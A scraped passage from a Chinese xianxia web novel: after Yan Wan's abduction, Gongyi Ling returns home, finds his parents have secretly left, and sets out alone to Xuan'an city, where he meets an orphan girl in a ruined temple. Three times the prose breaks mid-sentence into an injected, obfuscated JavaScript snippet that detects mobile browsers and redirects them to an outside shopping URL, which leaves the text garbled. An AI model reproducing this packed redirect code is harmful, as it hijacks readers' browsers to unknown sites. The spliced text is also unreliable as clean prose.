公仪岭欣然接受道:“也好,且让我再偷得浮生半日闲吧。” 68.婉婉思柔情 一旦总成空(四) 午后天气正好,有了树荫蔽日,温度并不热。公仪岚从自己的房间里拿出了几本公文翻阅,而公仪岭则是犯了愁,自己来的时候并没有带什么娱乐性的东西,钓鱼竿也被他丢在了自己房间里。他在芙蓉院中转了几圈,只看见室内书架上摆放了不少藏书,于是随意抽了一本就上了树。 巧的是,他随手拿的这一本里面简单讲了讲紫阳宗建宗以后的事情。 公仪岭翻看了几页,里面的内容果然和燕蓉说的相差不大,就支了头默默把内容记了下来。 等他全部看完,也是两个时辰后的事情了。阳光逐渐变得柔和,公仪岭倦意袭来,把书搭在脸上就这么睡着了。 等他再度醒来,发现不知何时又回到了自己的床榻上,就知道应该是大哥把自己带回来的,扯着嗓子喊了两声,结果公仪岚没进来,反倒是门外进来了两个仙侍,对他说道:“公子,您醒了。” 公仪岭缓了缓神:“现在是几时了?” 仙侍答道:“已经是第二日午时了。” “我竟然睡了这么久?!” 仙侍笑道:“中秋夜宴上的桂花酒都是特制的,留香足、后劲大,您之前没好好休息,现在酒劲上来了睡得久一些也是正常。” “哦,是这样啊。”公仪岭点了点头,又问道,“我大哥呢?” 仙侍答道:“大公子这会儿已经回房收拾行囊了。” 公仪岭一愣:“外面的结界已经解开了吗?” 仙侍道:“所有结界都已经被宗主解开了,诸位现在就可以离开了。” “那……紫阳宗里还是没有找到燕婉姑娘吗?” 仙侍眼中闪过一丝悲伤:“宗门内并没有寻到大师姐。” 公仪岭心情沉重,如果紫阳宗封起来后集全部人力搜寻了整整一日都没有找到燕婉的话,那她可能就真的凶多吉少了。 他问:“你们的燕蓉师姐,现在在哪里?” “燕蓉师姐这会儿应该正忙,怕是没有时间过来见您,有什么话,我可以代为转达。”仙侍道。 公仪岭想了想:“这样吧,你就说云灵山有事情我赶着回去了,等之后她有空了再写信给我说一下找没找到燕婉姑娘吧。” “好的,我一定带到。”仙侍道,“大公子嘱托,等您醒了让我们将您带过去,不如您先去大公子那边吧。” “好。” 公仪岭四下看了眼,自己带来的东西都已经不在房内,只剩自己的归云剑放在桌子上没有被拿走,想必是大哥已经帮他把行囊收拾好了,于是跟随仙侍到了公仪岚那边。 推开了隔壁的房门,公仪岭便瞧见大哥整整齐齐收拾好了两个人的东西,正坐在椅子上拭剑。 看见公仪岭进来,公仪岚停下了手上的动作,笑道:“阿岭,你来了。” 公仪岭十分自然地翻了翻桌上的那堆东西:“大哥,这些东西我起来就会收拾的,下次还是我自己来吧,不然又麻烦你了。” 公仪岚将彻云收回了剑鞘,放在了自己的行囊旁边:“这有什么,你小时候房间都是我收拾的,跟我客气什么?” 公仪岭讪讪地将自己的东西背好:“爹娘可说了什么时候走?” “再过半个时辰吧。”公仪岚望了望他们房间的方向,无奈道,“他们俩应该也是累着了,东西都是承悦帮忙收拾的,等过一会儿,我再去叫醒他们。阿岭你先在我这边坐一会儿吧。” “好的。” 公仪岭从容地坐在椅子上等着,心中盘算着芙蓉院离燕蓉住所的距离,想着来不来得及临行前同她告个别。 不过,他们俩只坐着聊了一刻钟,外面的仙侍就隔着门叫唤了一声:“两位公子,燕蓉师姐请见。” 公仪岭忙道:“快叫她进来!” 只听外面的女声对两位仙侍道了一声谢后,就进了门。公仪岭两日不见燕蓉,见她也是满面疲惫,走路飘忽的样子,惊讶道:“你不会两日都没合眼吧?” 公仪岚起身给她搬了个凳子,燕蓉踉踉跄跄过来坐下,嗓音沙哑道:“快,给我喝口水先。” 公仪岭见她这嗓子冒烟的样子,心道:“管理宗门大小事宜果然是个累人的活儿。” 从两个人相识以后,公仪岭就知道燕蓉是个能力极强的人,也正是因为如此,她才被燕修远委以重任,打理宗门的大小事务。而她也不负众望,将紫阳宗上下事宜处理得极好。 他将茶杯里注满了水,递了过去。燕蓉咕嘟咕嘟两口就喝了个精光,伸手将空杯子递回了过去,公仪岭也很上道地继续往里面倒水,如此往返了三四次,燕蓉才感觉嗓子润了些,能勉强开口说话了。 公仪岭瞥了眼被她随手搁在桌上的本子,见上面密密麻麻写了很多行程,顿时感觉头皮一紧,好声相劝:“你这也太拼命了,别到时候燕婉姑娘还没找到,你先累倒了,等我们回去以后,你先休息一会儿吧。” 燕蓉伸手点了点本子上的几行字给他看:“现在宗门上下乱成一锅粥了,我哪能安心去休息?等你们走了以后,还有一堆事情得处理呢。我现在时间很紧,大概只能在你们这里待十分钟就得回去干活了。” 公仪岚都诧异了:“你都几日没合眼了?再怎么也不是这么个熬法啊。” 燕蓉叹息:“从中秋夜宴开始,已经三日没合眼了。可是那有什么办法?这些事情除了我,也没人能干的来了。这不是知道你们下午就要离开了,我这才抽空过来与你们道个别。” 公仪岭问她:“我听仙侍说,紫阳宗上下没找到燕婉,那你们打算什么时候找借口去魔族寻?” 燕蓉道:“之前说的要交给魔族的信函我已经拟好,只等师父点头就可以传过去。只不过,师父和齐宗主商量以后的意思是,想先派点人去各地寻一寻,放出风声去,然后再去看看能否与玄霄殿交涉寻人,如果他们肯让步交出师姐的话,那兴许师父会放过他们一马。直接写信警告的话,难免不会适得其反,让他们做出伤害师姐的事情。” 公仪岭赞同道:“还是他们考虑得周全。这样也好,希望他们能留点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473206|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余地,别害了燕婉的性命。” 燕蓉点了点头:“在见你们之前,我去青花谷问了妙意姑娘,她说,如果能够在七七四十九日前救出大师姐,她有办法让燕婉活下来,只是得费点燕渊的血了。” “这好办,到时候如果需要潜伏进去的话,将燕渊也捎上就行了。”公仪岭当即道。 公仪岚也安心了些:“虽然燕渊平时性格傲了些,但我看他对姐姐倒是感情深厚,想必是不会拒绝的。” 燕蓉看向公仪岭道:“你之前交代仙侍的事情,我已经知道了,等你们回到云灵山以后,我会与你们书信联络,之后如果玄霄殿不愿交出大师姐的话,再请你们过来一起前去魔界。” “好。” 随后,她从袖中取出一封黑色的信函,递给了公仪岭,道:“这是齐元白托我给你的信。” 公仪岭接了过来,摩挲了一下信函上的环带纹印,道:“难得见他正儿八经用这样的纸。” 说完公仪岭就拆了将里面的信纸拿了出来,结果竟然还是像以前一样的破黄纸,顿时无语:“还是没点长进啊。” 公仪岚失笑道:“你看看他写了什么?” 那薄薄两张黄纸,公仪岭都怕自己手劲大点给扯坏了,于是小心翼翼揭开扫了一眼,才答道:“他说太微山离这边路途遥远,他们就先启程离开了,等回到太微山以后,再跟我们联系。” 公仪岚道:“想必是齐宗主在旁边,他不方便过来与我们告辞,这才留了信。” 公仪岭无奈:“算了,看在他难得用个好一点的信函,说明还是重视的,姑且原谅他了。” 燕蓉要交代的事情都大致说完了,将桌子上的小本收起正要离开,公仪岭却忽然问道:“你可知燕宗主原本似乎需要离开紫阳宗一段时间?” 燕蓉脚步顿了顿,回过身疑惑道:“是有这件事,你如何得知?” “爹娘说要出一趟远门,大约是替燕宗主去处理事情了。”公仪岭道,“齐宗主也同去吗?” 燕蓉摇头:“这件事情我看你还是问齐元白吧,我只是偶尔听师父之前提过一嘴这个安排,但是具体他们要去哪里并没有跟我说过,我也不是很清楚。” 公仪岚安慰他道:“无妨,阿岭,之前爹娘也不是没有出门云游过,你不必如此担忧。” 公仪岭垂下头,闷声道:“这几天出了这样大的事情,正是需要他们出面的时候,却突然商量着出门,我总觉得不该。兴许,是我多想了吧。” 燕蓉明白了他的意思,蹙眉道:“自从御魔幡被盗后,民间各地也有不少妖魔鬼怪出没,我听那几家小宗门都说,近期百姓请他们下山除妖的次数都变多了,想必是哪里出了事情,等他们摆平就回来了。” 这个解释合情合理,公仪岭脸色和缓了些,觉得她说得很有道理。 燕蓉见他们没有别的事情了,于是对两人说道:“那我先走了,届时再联系,云灵山如果有什么需要我帮忙的话,我会尽力。” “多谢你了,燕蓉。” 69.婉婉思柔情 一旦总成空(五) 公仪岭回到云灵山已经是一日后的事情了。 公仪拓和沈熙华说是要回去先处理事情,实则也只是召来了公仪岚和公仪承悦,将各项事情事无巨细地与他们两人交代了一遍。至于云灵山内的众多弟子,则是全权交由公仪岚教导了。 几个守在山中没去中秋宴的师弟师妹们并不清楚发生了什么事情,只觉他们回来以后山中的氛围很是奇怪,问了其他人才知道紫阳宗出的事情,没多久又从承悦口中得知师父师娘需要离开一段时间,一个个都万般不舍。 公仪拓夫妻两人带走的东西并不多,承悦依照着吩咐把行囊给他们准备好后,为了避免自家徒弟们搞些依依惜别的肉麻场景,两个人择了两日后的深夜,悄然离开了云灵山。 这几日,公仪岭都十分守时地跟着大哥晨练,每日起的比鸡还早,洗漱完以后就和大哥一同去爹娘房中请安。 云灵山内一切如常,就连爹娘住的院子也没什么变化。公仪岭无知无觉地跟大哥一起推开了院门,喊了一声:“爹,娘!我跟大哥来与你们请安了。” 无人应答。 “怎么回事?平常爹娘这个点不是早就醒了吗?” 公仪岚眉头皱起,意识到不对,三步并作两步穿过前院,将房门给推开了。 他步子极快,公仪岭反应过来以后一溜小跑才匆匆跟上,嘴里还念着:“大哥,万一爹娘还在睡觉,我们会不会吵到他们了?” 公仪岚扶在门框上的手垂下了,转头看着公仪岭,轻声说道:“阿岭,爹娘走了。” 公仪岭脑中一懵,第一反应竟是算了算日子:“大哥你会不会弄错了……我们回来这才几日……他们何时说这么快就走?” “我们是两日前回来的。” 公仪岚进了房间,扫了四周一圈,发现屋子里的陈列并没有少什么,茶桌上还放着两杯没喝完的茶水,唯一有变化的就是不远处的剑架上,那里原先放着他们爹娘的随身佩剑,现在却已经空空如也。 公仪岭呆在原地,心中滋味百般复杂,说不清是不舍还是意外,怔愣了许久才讷讷说了一句:“爹娘也真是的,走之前好歹跟我们打声招呼啊,这样不告而别……” “兴许是事情紧急,才会如此。” 要是小时候,爹娘出去云游几日不在山中,公仪岭肯定比谁都高兴。只是现在事情一茬接着一茬,他们两人又突然不告而别,公仪岭蓦然生出一种失去方向,不知所措的感觉。 他伸手触碰了一下已经冰凉的茶壶:“大哥,那我们现在该如何?” 公仪岚从怀中拿出一块灵讯石,递到他手上:“虽说距离远了灵讯石就派不上用场了,但现在爹娘应该还没走远,你用这个试试看能不能联系上他们。” 公仪岭看着手中的石头:“那之后如果他们走远了,该如何?” 公仪岚笑道:“小时候我就叫你跟我一块养灵雀,你不听我的,就爱养王八。现在看来,倒是我养的灵雀先派上用场了。” 他不说,公仪岭都快忘记了这么回事。 大哥一直对自己养的三只王八敬而远之,除了被它们咬坏过衣服,还有一个原因就是他养的灵雀被王八咬过尾羽。那两只灵雀活泼好动,从前爱去池塘梳理羽毛,一不留神就被咬了羽毛,把公仪岚心疼地不行,从那之后,公仪岭就只能在大哥书房里才能见到那两只灵雀了。 “它们竟还能送信。”公仪岭奇道。 公仪岚失笑:“毕竟是自幼在云灵山长大的灵雀,叫他们寻到爹娘,应该不是什么问题。” “行,那就试试。” 公仪岭手上凝起仙气,拂过了灵讯石,等到它开始闪烁起微弱的亮光,才试探着说了两句:“爹,娘,你们听得见吗?” 那边静默了片刻,才断断续续传来熟悉的声音:“听得见。” 公仪岭心中一喜,正要喊娘,下一秒就被灵讯石里的另一声吼地闭了嘴:“都这个点了,你们两个还在磨唧什么?我们不在就偷懒是吧?还不快点去上早课?!” 两个人皆是被吼得凌乱了。 什么温情?什么思念?全都在这一刻抛之脑后。 公仪岭只能对着灵讯石讪笑两声,公仪岚连忙拿回石头说道:“爹,我们正要去了。”说罢就封了石头,放回了怀中。 每日需要如何上课,公仪岚自是心中有数,即便是父母不在,弟子们的功课却是一日也没落下。 更让他欣慰的是,公仪岭竟一改常态,与他们开始一起练剑了。 卯时起,亥时息,转眼就是三日光景。 前三日的时候,公仪岭还能用灵讯石与父母说上一两句话。等到了第四日开始,大约是公仪拓走得远了,就只好写了信,指望大哥的灵雀带到了。 那两只灵雀腿上被绑好了信笺,对他们长鸣一声,抖了抖羽毛,从窗台上飞走了。 从灵雀飞走以后,公仪岭每日除了练剑以外,还多了一件事,那就是蹲在门口等着它们带信回来。 然而,整整六日过去,却依旧没有回信。 公仪岭不止一次问公仪岚:“这两个灵雀靠谱吗?” 公仪岚也不止一次回答他:“靠谱。” 但是久而久之,就连公仪岚也等得心急,开始不确定起来。 直到公仪拓走后的第十日傍晚,公仪岭才带着一只受了重伤的灵雀闯进了公仪岚的房间。 公仪岭是连敲门都顾不上了,在门口大喊道:“大哥!你看看,这是不是你养的那一只?” 公仪岚当即搁下手中的书卷,步履匆匆开门查看。 这不看还好,一看以后,公仪岚简直不能相信自己的眼睛。如果不是这只灵雀的脖子上还挂着公仪岚亲手刻的小木牌,他无论如何也不能相信这只浑身是血、羽毛破败的鸟是自己精心照料了十多年的灵宠。 公仪岚心痛不已,眉目间都显出薄怒:“这是怎么回事?谁干的?” 公仪岭摇头,小心翼翼将手心里的灵雀放到他桌子上:“我正蹲在宗门口呢,它就摇摇晃晃飞回来了,我仔细一看,才发现它变成了这般模样。” 他伸手探查了一下灵雀的伤势,凝重道:“大哥,它伤得很重,大概是强撑着一口气才回来的,怕是不太好医治啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483956|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 公仪岚深吸一口气,默然不语,用仙法将灵雀身上的外伤简单处理了一下。 公仪岭忐忑不安,犹豫着开口:“而且,它一看就是被法器所伤,我担心……” 灵雀看样子是找到了爹娘的,只是那边的情况肯定不容乐观,不然灵雀也不会受如此重伤。 这也是公仪岭最为忧心的,爹娘是知道大哥这两只灵雀的,如果他们有办法的话,怎么会不护着? “那……信笺呢?”公仪岚想起信笺,视线下移,却看到灵雀原先被绑着信笺的腿上现在什么也没有。 公仪岭缓缓摇头,眼中透着不安,说道:“我接到它的时候,它的腿上就没有信笺。而且我们分明放走了两只灵雀,如今却只回来了这一只灵雀,另一只至今未归。” 剩下的话,公仪岭怕大哥伤心,并没有明说。但是任谁都想得到,回来的这一只灵雀都已经重伤难医了,没能回来的那只,多半是凶多吉少。 见公仪岚抿唇不语,他连忙补充道:“我看这只受伤的灵雀还能救一下,不如先带它去找药师吧。” “那走吧。” 公仪岚把灵雀放回了笼子里,拎着鸟笼就出门去找药师。 公仪岭连忙跟了上去。药灵殿离得不远,两人一路步履匆匆,很快就抵达了,将灵雀交给了山中药师以后,就在偏殿等着。 偏殿里面放了不少名贵的药材,公仪岭小时候很喜欢来这里,闻着药香能让他安神下来。只是这一次,他却无心顾得上这些,坐在公仪岚在旁边喃喃道:“爹娘肯定遇到什么危险了……我没想到,难道还有他们对付不了的东西吗?” “现在还未可知。”公仪岚道,“这几日,再尝试着联系他们吧,如果还是不行,再想想别的办法。” 公仪岭身子一僵,垂眸道:“我不放心。” 他声音是难得的低沉生涩。公仪岚心思敏锐,当即察觉不对,直视他道:“你是不是有什么事情没跟我说?” 公仪岭没料到大哥会这般笃定,哑了嗓音,欲言又止:“我……” 公仪岚眸色深深,责备道:“现在只有你我二人,有什么事情是不能说的?难道你对大哥还有所隐瞒吗?” 公仪岭错开他的视线,纠结了一会儿,还是从袖子里拿出了一封信。 这信函漆黑如墨,在幽幽烛火下显得晦暗不明,但公仪岚还是认出来了这是谁写的信:“是什么时候的事情?齐元白跟你说了什么?” 公仪岭急忙解释:“是今早承悦给我的。元白他说,齐宗主离开了太微山后不知去向,现在他已经联系不上齐宗主了。” 公仪岚看着他道:“难怪你今天一直守着宗门口等灵雀回来,原来是担心爹娘也失去联系。” “正因如此,我才担心。” 公仪岭心神不宁了一整日,无论他怎么努力劝说自己也静不下心:“现在看来,齐宗主和我们爹娘定然是去同一处了。太微山符修的联络手段可比我们多多了,连齐元白都联系不上了,我想他们一定是出事了!” 公仪岚拆了信函,读完了齐元白的手书,蓦然脸色一变。 70.婉婉思柔情 一旦总成空(六) “大哥,怎么了?” 公仪岚捏着黄纸的手微微颤抖,许久才脸色苍白道:“齐元白他说,齐宗主临行前,也将太微山的宗主令牌交托给了他。” 公仪岭原先看信的时候还没反应过来是什么意思,直到见到公仪岚的神情不对,才猛然惊醒:“大哥,你是说……他们早就商量好了?” “也许,他们根本就没有抱着还能回来的念头。”公仪岚喃喃自语,“爹娘……是将云灵山真的托付给了我们啊。” 公仪岭红了眼圈,颤声道:“怎么这样……他们都没跟我们道别啊!” “现在山中弟子都还不知道两家宗主失踪的事情,但是,这样的大事,瞒得了一时也瞒不住一世,别人早晚都会知道的。”公仪岚沉声道,“尤其是玄霄殿,若是知道我们没有了主心骨,怕是就会有行动了。燕婉刚被劫走,至少现在这件事,绝对不能透出风声出去。” 公仪岭点头:“我明白,大哥。可是纸包不住火,爹娘一直不出面的话,难保别人不会发现……” 公仪岚略一思忖,低声道:“为今之计,也就只能让信得过的人先去寻找爹娘下落。他们仙法卓越,寻常的妖怎么会是对手?若是我们去的及时,他们定能平安归来。” “你不能去,大哥!”公仪岭断然否决,“现在云灵山上下都指望着你,你走了谁能服众?整个宗门里唯有承悦我最信得过,有他帮衬你我才能放心,自然是不能安排他下山的。如果要人下山暗中寻找的话,我去是才最合适的。” 公仪岚凝望着弟弟,沉默不语。 如果自家爹娘遇到了险境的话,他们必然是得让一个修为高的人前去寻找搭救了,整个云灵山修为高的一只手都能数得过来。如他所说,没有任何一个人比公仪岭更合适了。 只是,如果那地方真的这样凶险,阿岭去了的话,万一有个什么三长两短,他又如何与爹娘交代? 公仪岭还在犹自说服他:“大哥你看,我平时就算不过去修习,师弟师妹们也不会觉得有什么问题的。至于其他宗门,有事情肯定也只与你联络,没我什么事情。我下山去也不会遇到什么危险,反正他们也都打不过我,你觉得呢?” 公仪岚叹了口气:“我知你说得不无道理,但爹娘临行前嘱托我照看好你,我若是现在放你离开,出了什么事情,可怎么好。” 公仪岭肃然:“大哥,便是你不同意,我原也打算下去寻他们了。今天我思量了一天,实在无法就这么在山中继续干等、除了心急什么都做不了了。” “那你今天打算了一天,就是打算招呼也不打一声就自己离开?”公仪岚指尖轻叩桌案,声音渐冷。 公仪岭自知理亏,低下头小声道:“对不起,大哥,是我一时心急……所以我现在还是同你商量着,看看能不能这样。” “你会这样想,我理解,但也不能擅自行动。”见他道歉,公仪岚语气也放缓了些,停了许久才松口,“阿岭,你要去我不拦着。但现在局势莫测,会发生什么事情连我也难以预料。我只能给你二十天的时间,如果还是没有寻到的话,无论如何你也得回云灵山,不要叫我担心,若是二十天后你还没回来,就不要怪我亲自去带你回来。” 饶是如此,公仪岭还是眼前一亮,猛猛点头,生怕大哥反悔。 又叮嘱了他几句后,公仪岚才问:“打算什么时候下山?” 公仪岭略一思量,果断道:“等药师出来问问灵雀的情况后,我就回房间收拾东西离开。” 公仪岚见他这么着急走,沉思了一会儿,允了:“晚上走也好,不显眼。如果有门中弟子问起来你的话,我会替你遮掩过去。” 公仪岚的那只灵雀倒是命大,受了如此重伤,竟然还顽强地活了下来,只不过这一趟的代价是折了翅膀,以后再也不能飞了。 这样的结果,也不知道是喜是忧。 不过这些都不是公仪岭应该担心的事情了。知道灵雀没有性命之忧以后,他就离开了药灵殿。 趁着月黑风高,公仪岭连夜收拾东西离开了,没惊动任何人。 虽说他与大哥说的时候十分决然,但一个人下山后,才觉得有些迷茫。毕竟,他现在知道的线索少得可怜,一处一处寻找的话,无异于大海捞针,没有几年哪里能找遍?何况,他只有二十天的时间。 公仪岭第一次懊悔自己平日里为什么不多出几趟门,这样的话,少说也对那些地方稍微熟悉点,不至于像现在这样无头苍蝇到处乱窜。 正一筹莫展、独自走到山门的时候,公仪岭却被不远处的那张贡桌吸引了注意。 这贡桌是公仪拓从前亲自摆上的,如果城中百姓遇到什么怪事或是妖邪,都会在此处上香,留下自己的期望。 而承悦则会隔一段时间将内容整理出来,定期让大家下山处理。 公仪岭回想起燕蓉说的话,觉得爹娘看见贡桌上内容前去那些地点的可能性极大,赶紧走了过去。 虽然愿望都不是白纸黑字写在贡桌上的,但他们山中之人想要查看这些愿望的办法很简单,只需略施仙法,那些密密麻麻的愿望就能够呈现在眼前了。 公仪岭大致翻看了一下内容,大部分都是云灵城或是附近城池里的百姓留下的愿望。虽然公仪岭也很想一个个帮人解决了,但时间紧迫,不能容许他这样做。他只能将灵讯石能联络到的范围内都排除了,再一个个看来自远方的那些愿望。 如此仔仔细细看了有小半个时辰,才有大几行差不多内容的吸引了他的视线。 “今有妖邪于宣安城作乱,每每黄昏之际出现危害人间,望上仙能够出面解决。” 如此类似的话,不同笔迹、不同内容足足写了有十几二十条。而公仪岭目光则是停留在了“黄昏”这两个字上,陷入了沉思。 是巧合吗?公仪岭不敢确定。几个月前在云灵城第一次遇到赤发长面鬼的场景如今也历历在目,正因为此事,才让他们得知了御魔幡被盗。 不管怎么说,这一条与御魔幡扯上关系的可能性是最大的。 公仪岭觉得如果爹娘看见了,肯定也会先去这个地方,于是打定了主意,决意去宣安城探一探。 * 宣安城的位置离云灵山很远,但离另一个宗门十分相近。 此宗门唤作无妄宗,与云灵山一样,乃是剑修宗门,算是仙家中一个不太起眼的小宗门,。 仙门之中大小宗门过百,公仪岭其实不太能分得清那么多宗门,每次参加各种大型宴会也都是只跟他们那几家相熟一些。至于他为什么会知道无妄宗,那还真是多亏了中秋夜宴上,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483957|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当众玩的那一手骰子了。 当时对他表现得十分不满的那几位长辈,也正是无妄宗的那几位。 秉着多一事不如少一事的念头,公仪岭默然想:“但愿过去可别遇上他们了。” 思虑完,他收了仙法,那些字便都消失在了眼前。公仪岭在贡桌前停留了片刻,顺手带走了桌上的几个馍馍,这才御剑离开。 他不舍昼夜,一路疾行,终于赶在了第三天早晨抵达了宣安城。 公仪岭从前并未来过此地,一直以为宣安城应该与云灵城差不多,可直到他落地后才诧异地发现,宣安城竟然是夹在两座山之间,地处偏僻,就连进城的道路也很是难行。 许是因为山中水汽充足的缘故,整座城上空都是一片灰蒙蒙的,层云蔽日,透不进来一点阳光,本能地就让人觉得此地阴森诡异,光是走在进城的山中小路上,都平白让公仪岭生出胸口发闷的不适之感。 很显然,这古怪的宣安城,是个风水要多差有多差的地方。 当真是呆久了人杰地灵的地方,难得来一次偏远之地,就如此难受。也难怪这地方会有妖邪出没。 虽然从外面地势来看,公仪岭对宣安城印象不佳,但他还是抱着一点期望,以为至少城内不会如此。 沿路一直往前走,绕过了许多弯后,才走近了城门。 公仪岭本以为白日里城内至少会是一派热闹的景象,谁知到城门口也没听到半点人声,城内一片死寂。 公仪岭走到城门前,打量了一会儿上面那一颗颗生锈褪色的门钉,随后“吱呀——”一声,推开了城门。 他在推门前就做足了准备,一只手已经死死按在归云剑上,打算如果里面扑出来什么妖邪鬼怪就直接就地斩杀。遗憾的是直到他完全推开城门,里面虽然看起来稍微破败了一点,但没有冒出来什么可怕的鬼怪。 什么声音都没有,这宣安城仿若一座空城。 公仪岭毕竟是秘密出行,也不方便直接去面见城主或是扯着嗓子嚷嚷,只得小心翼翼拿着剑沿着长街一路走。 饶是如此,很快他也确定了——这座城并非是空城,虽然里面没有一点响动,但长街两边家家户户都门窗紧闭,和当日云灵城内如出一辙。 公仪岭心中了然。想必是百姓们惧怕妖邪之物,这才出此下策。 确定了这一点以后,公仪岭便不再在主街道上行进,他一个人在那边未免扎眼,还是稍微隐蔽些行踪为好。如此想着,他便闪身随意进了一条小巷中,摸索着前进。 此次出行,公仪岭东西带得少,胜在齐全,边走边取出寻妖罗盘,施了仙法查看。只是那罗盘上指示的方向十分混乱,没有明确方位。他只能暂且把这个归结为这地方气场紊乱,于是收起了罗盘,打算等到黄昏以后再看。 按照贡桌上显示字的来看,这些妖邪都是黄昏出没。而现在时辰尚早,公仪岭便打算先找个不起眼的地方坐一会儿再说。 仙家下山除妖,基本上都会先就近找一处庙宇歇脚,而一般城里修庙大多会修在风水较好的地方,虽然公仪岭一路走来,并没有看出来这边哪里的风水算是比较好的,但还是凭着脑中的知识朝着北边一处地势偏高的地方走过去。 如果说这座城哪里看起来风水好一点,也便只有这里了。 71.求仙万仙寺 魂魄恍隔世(一) 宣安城夹在山间,看起来不大,走起来却很费劲。公仪岭爬了半天,总算在一阶石阶上遥遥望见了一座破落的建筑,想来也就是城中最大的那座庙宇了。 公仪岭提着剑当登山杖,沿着石阶蜿蜒而上,直到面前狭窄的路忽然变得开阔了些,他就知道这条石阶路终于走到了尽头,得以见到了这座庙的全貌。 公仪岭原本就对此地的庙宇不抱什么期望,只不过这庙宇还是比他想象中更破败了些,哪怕整体看上去的确建的很宽敞,但上头的瓦片堆得错乱,有些地方还缺了几片,就连外墙上的漆也脱落了很多,显得十分斑驳,一片狼藉。 庙宇上则是简简单单悬了一块木板作为牌匾。公仪岭抬头看向那牌匾,透过上面密密麻麻的蛛丝,依稀辨认出来了灰尘下覆盖的名字。 “万仙寺?”他喃喃说了一句,很是疑惑。 从名字和规模来看,这万仙寺显然是宣安城中最好最大的寺庙了,想来没有鬼怪作乱的话,这里的香火定然十分旺盛,只是不知道为何竟然破败至此,成了一副年久失修的样子。 万仙寺的两扇大门虚掩着,他轻轻一推打开了门。 正殿里面同样空空如也,除了仙像和一张破烂贡桌以外,甚至连参拜用的蒲团都没有准备,但相比外面却显得干净不少,地板上也没有多少灰尘的痕迹,看样子是曾经被人打扫过。 万仙寺内光线很暗,公仪岭燃起符纸,环视四周,待看清楚万仙寺正殿的全貌后,才明白这地方为何取了这个名字。 那些仙像,竟都是仙门先辈们的塑像。公仪岭一个个看过去,有几个甚至自己还能依稀认得出来,就连从前抱元门的那三位长老也都在其中。 只不过真正见过他们这些仙人的人毕竟只是少数,大部分人也只是有所耳闻,仅仅将诸位上仙的明显特征给塑了出来,但即便如此也并不影响公仪岭判断这些仙像的身份。 他站在善承长老的塑像前,摸了摸下巴,心道:“若是日后我有机会也能被塑个仙像,定然得去城中溜达一圈,让大家都看清楚该怎么塑才行,不然万一大家给我弄得青面獠牙,怕是说出去会被齐元白他们笑话。” 公仪岭正出神想着,旁边那张蒙着破布的贡桌却忽然动了一下,惊得他直接往后跃出三丈,瞬间拔剑出鞘,厉声道:“谁?!谁在桌下?给我出来!” 方才他进殿的时候并未察觉到有魂魄妖物之类的东西,当即推断出来这桌子底下藏着的多半是个人。话刚说完,公仪岭本也没指望自己呵斥的这一声能吓到谁,刚想直接挑开破布一看究竟,就见那布里“啪嗒”一声,随后骨碌碌滚出来一个白白的东西。 公仪岭又后退了一步,定睛去看,才发现这东西只是个白面馒头而已,这才松了口气,又循循善诱:“你出来,我不是坏人,不会害你。” 那破布里面的人也知道自己藏不住了,听到这句话后犹豫了很久,才小声嗫嚅了一句:“你先把剑放下,我再出来。” 公仪岭低头,这才想起来自己手里的归云还指着那张桌子,遂收了剑,后知后觉听出来这是个女孩儿的声音。 毕竟是自己先闯了进来,又吓到了人家,公仪岭有点不太好意思,稍微和缓了些态度道:“我把剑放下了,你出来吧。” 贡桌底下这才小心翼翼地钻出来一个人。公仪岭低头一瞧,果然是个女孩儿,还是个看起来只有十二三岁的小女孩儿。她身上的那身灰衣服破破烂烂,只勉强能够蔽体,头发也凌乱不堪,散落下来的发丝遮住了她的大半张脏兮兮的脸,蜷缩在地上看起来很小一只,一双乌黑圆溜的眼睛正怯怯地看着公仪岭。 两厢对视片刻,公仪岭先尴尬地把视线收了回去——要是他知道这小姑娘连个完整的衣裳都没有,肯定先下山去给她找一件换上,再让她出来。 那小女孩似乎是确认了公仪岭不会伤害她以后,才朝那个白面馒头的方向爬了两步,把那个粘上了灰尘的馒头捡了回来。 公仪岭看了看馒头上的灰尘,把从云灵山贡桌上顺来的馍馍递给了她:“这个馒头脏了,你吃这个。” 小女孩试探性地盯着他,见他没有收回手的意思,才把馍馍接了过来,也没吃,把馒头和馍馍往怀里塞了塞。 公仪岭见她可怜,取下了自己的外衫盖到她身上,随后蹲下了身与她平视,问道:“你叫什么名字?” 她犹豫了片刻,才道:“他们都管我叫莺儿。” 没有姓氏,这名字听起来就像一个孩童的乳名。于是公仪岭又问:“你为何在这里?你的家人呢?” 莺儿摇了摇头,咬唇轻声道:“我没有家人。”她直接略过了公仪岭问的第一个问题,也没有打算回答他。 